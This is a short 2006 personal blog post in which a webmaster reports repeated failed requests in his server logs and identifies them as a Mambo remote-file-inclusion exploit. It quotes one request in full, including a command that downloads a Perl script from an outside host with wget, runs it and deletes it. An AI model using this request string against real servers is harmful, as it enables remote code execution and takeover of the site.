News item 2006-02-14 - Koos van den Hout

2006-02-14
On The Virtual Bookcase I get loads and loads of requests looking like (broken up for readability): "GET /book/byauthor/index.php? _REQUEST[option]=com_content& _REQUEST[Itemid]=1&GLOBALS=& mosConfig_absolute_path=http://www.thriftysix.co.uk/tool25.txt ?&cmd=cd%20/tmp/;wget%20http://www.thriftysix.co.uk/logs.txt; perl%20logs.txt;rm%20-rf%20logs.txt*? HTTP/1.0" 404 2348 "-" "Mozilla/5.0". All fail ofcourse (that's how I notice them). It seems this is a Mambo exploit in use. Funny thing is I never use Mambo on any site.
I have tried several times to get that tool25.txt to have a look, but it always returns 'The server is temporarily unable to service your request due to the site owner reaching his/her bandwidth limit. Please try again later.'
Tags: , ,

Koos van den Hout, E-mail koos+web@kzdoos.xs4all.nl. PGP key DSS/1024 0xF0D7C263 RSS
Other webprojects: Camp Wireless, wireless Internet access at campsites, The Virtual Bookcase, book reviews, Weather maps